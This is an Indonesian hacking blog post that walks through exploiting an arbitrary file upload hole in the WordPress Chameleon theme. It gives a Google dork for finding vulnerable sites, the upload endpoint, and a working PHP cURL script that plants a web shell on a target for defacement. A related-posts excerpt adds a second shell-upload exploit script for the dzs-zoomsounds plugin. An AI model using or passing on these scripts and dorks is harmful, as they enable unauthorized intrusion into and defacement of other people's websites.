Skip to main content

Tutorial WordPress Chameleon theme Arbitary File Upload

By
Hallo fans, Nuenomaru disini , maaf baru bisa posting lagi wkwkw
baru ketemu lagi >.< maaf efek lebaran + liburan... *lupa ngeBlog xixihi

kali ini Nue akan share Exploit WP Chameleon theme Arbitary File Upload, etthoo,, ini exploit lama loh ..
hahaha iseng2 aja share kali aja masih crotz 

bahan bahan:
- PC yang tersambung dengan Internet
- Xampp
- Shell & Script Deface
- Kopi , sabun , Lilin (hukumnya sunah wkwkw :v )



langsung aja intip tutornya

Langkah-Langkah:
1).Search Di Google Gunakan Dork
inurl:/wp-content/themes/cameleon/

2).Jika Ketemu Masukan Exploit
/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php



3).Jika Web Vuln Akan Keluar Tulisan {"error":"No files were uploaded."}



4).Buat File Baru Berekstensi .php Contoh cameleon.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit dan taruh juga shell sobat di directory yang sama dgn cameleon.php tadi :D

<?php
$uploadfile="namashellsobat.php";
$ch = curl_init("http://targetsobat.co.li/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


5).Aktifkan XAMPP Klik Start Pada Apache
6).Buka cmd Dengan Cara Klik Start -> Run -> Ketik "cmd"

7).Ketik:
cd C:/xampp/php
php cameleon.php

jika berhasil akan muncul tulisan success;true dan letak shell sobat..




Shell Akses: /wp-content/uploads/tahun/bulan/namashell.php 


done 

Hahahaha Sekian tutorial kali ini.
numpang ngiklan..
Download MiniGames Android TKJ JumpMan.
<re/code> By: TKJ Cyber Art
Link:
- Google Drive
- sharebeast

bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Happy wordpress Hacked !!
Sekian dan semoga bermanfaat .. terimakasih



source and thanks to: irfansyahputra Blog


./Nuenomaru



















Visit and follow :

FP         : TKJ Cyber Art
G+         : TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2

Labels:

Comments

Post a Comment

Popular posts from this blog

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

By
In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...
Post a Comment
Read more

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How To Install Kali Linux In VMware Player

By
This tutorial will walk you through the difficult process of installing Kali Linux in VMware Player , a free virtual machine manager that can be downloaded from www.vmware.com . This tutorial assumes that you have some basic knowledge of your computer (amount of RAM, number of processors, x32 or x64 architecture, etc.) and that you’re using VMware Player as a virtual machine manager, not VMware Workstation or other software. Step One: First we need to download Kali from http://kali.org/downloads/ . If you have a 64-bit capable computer (like me), then you probably will want the 64-bit version of Kali for performance and compatibility reasons. Select the 64-bit version ONLY if you have a 64-bit computer . If you don’t have a 64-bit capable computer, or if you aren’t sure, then get the 32-bit version, as it will work on both architectures. Step Two: You can either direct download Kali through the browser’s download manager by clicking on ISO , or you can torrent it by clickin...
Post a Comment
Read more